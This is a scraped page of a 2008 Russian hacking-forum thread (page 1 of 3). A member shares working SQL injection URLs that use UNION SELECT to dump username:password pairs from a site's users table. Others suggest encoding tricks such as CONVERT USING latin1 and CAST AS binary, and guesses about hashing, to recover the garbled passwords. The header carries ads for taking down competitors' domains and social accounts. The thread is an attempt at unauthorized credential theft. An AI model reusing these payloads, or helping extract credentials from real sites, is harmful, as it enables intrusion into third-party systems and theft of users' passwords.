абра-кадабра в паролях пользователей

ВЫЕЗД ИЗ УКРАИНЫ • ОФОРМЛЕНИЕ ДОКУМЕНТОВ • БРОНИРОВАНИЕ • ПОМОЩЬ С ТЦК

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
абра-кадабра в паролях пользователей

Страница 1 из 3

Опции темы

Поиск в этой теме

Опции просмотра

абра-кадабра в паролях пользователей

26.05.2008, 13:45

mr.celt

Участник форума

Регистрация: 06.02.2008

Сообщений: 110

С нами: 9610572

Репутация: 32

абра-кадабра в паролях пользователей

Доброго дня античатовцы.
Вопрос следующий: на сайте нашел скуль, разделался с ней как написано в учебниках, в результате получил такую инъекцию
site.com/details.php?id=-5'+union+select+1,concat(username,char(58),passwor d),3+from+users_m_t+limit+10,1/*
по идеи должны вываливаться пары логин:пароль, но тут облом вышел, получаю вот что
shilpa:^��f�
patelph1:g�r1�n ну и т.д...
Что это за каракули в паролях?
Думал дело в кодировке, но смена не помогла.

𝕏 Twitter Reddit Telegram Копировать ссылку

26.05.2008, 14:20

groundhog

Познавший АНТИЧАТ

Регистрация: 12.05.2007

Сообщений: 1,235

С нами: 9999746

Репутация: 1318

Посмотри в какой кодировке тебе отдаётся страница... Проблема как раз в кодировке, возможно это можно обойти с помощью Convert... Без ссылки не могу сказать более точно...

26.05.2008, 14:21

$n@ke

Постоянный

Регистрация: 18.09.2006

Сообщений: 867

С нами: 10339586

Репутация: 1396

либо покоцаные, либо кодировка не та, либо попробуй using latin1 и т.п.

26.05.2008, 14:39

~~WeddRRRyss~~

Banned

Регистрация: 15.01.2008

Сообщений: 63

С нами: 9642354

Репутация: 46

Пассы просто захешированы. Походу не в мд5, а в чем то другом.

26.05.2008, 14:50

S00pY

Познающий

Регистрация: 24.04.2007

Сообщений: 92

С нами: 10025299

Репутация: 412

Цитата:

Сообщение от WeddRRRyss

Пассы просто захешированы. Походу не в мд5, а в чем то другом.

Это не хеш!Имхо это кодировка !

26.05.2008, 14:52

~~WeddRRRyss~~

Banned

Регистрация: 15.01.2008

Сообщений: 63

С нами: 9642354

Репутация: 46

Цитата:

Сообщение от S00pY

Это не хеш!Имхо это кодировка !

Если кодировка, то еще проще. не придется брутить. Главное понять в чем закодированны пасс.

26.05.2008, 14:56

Spyder

Members of Antichat - Level 5

Регистрация: 09.10.2006

Сообщений: 1,698

С нами: 10309346

Репутация: 4303

встречался однажды с такой херью
попробуй поюзать convert()

__________________
God forgive me for I have sinned
It’s been six months since my last confession
There is nowhere that I can run to
My soul I place in your hands

26.05.2008, 15:42

geezer.code

Reservists Of Antichat - Level 6

Регистрация: 22.01.2007

Сообщений: 616

С нами: 10158086

Репутация: 1359

мне обычно помогает cast( ... as binary)

26.05.2008, 16:53

mr.celt

Участник форума

Регистрация: 06.02.2008

Сообщений: 110

С нами: 9610572

Репутация: 32

Цитата:

Сообщение от $n@ke

либо покоцаные, либо кодировка не та, либо попробуй using latin1 и т.п.

попробовал вот так
http://site.com/details.php?id=-5'+union+select+1,concat(username,char(58),convert (password+using+latin1)),3+from+users_m_t+limit+10 ,1/*
те же каракули

при использовании cast (... as binary) тоже ничего хорошего.

Последний раз редактировалось mr.celt; 26.05.2008 в 17:35..

#10

26.05.2008, 18:41

Shred

Участник форума

Регистрация: 22.05.2006

Сообщений: 232

С нами: 10511126

Репутация: 73

в какой кодировке сама страница?

Страница 1 из 3

Предыдущая тема Следующая тема

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Новость: WiMax - 40 млн пользователей к 2013 году	Mr. P.S.	Беспроводные технологии/Wi-Fi/Wardriving	0	19.01.2008 00:23
Администрация «Живого Журнала» позаботилась о безопасности пользователей	dinar_007	Мировые новости. Обсуждения.	0	25.01.2006 14:20

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход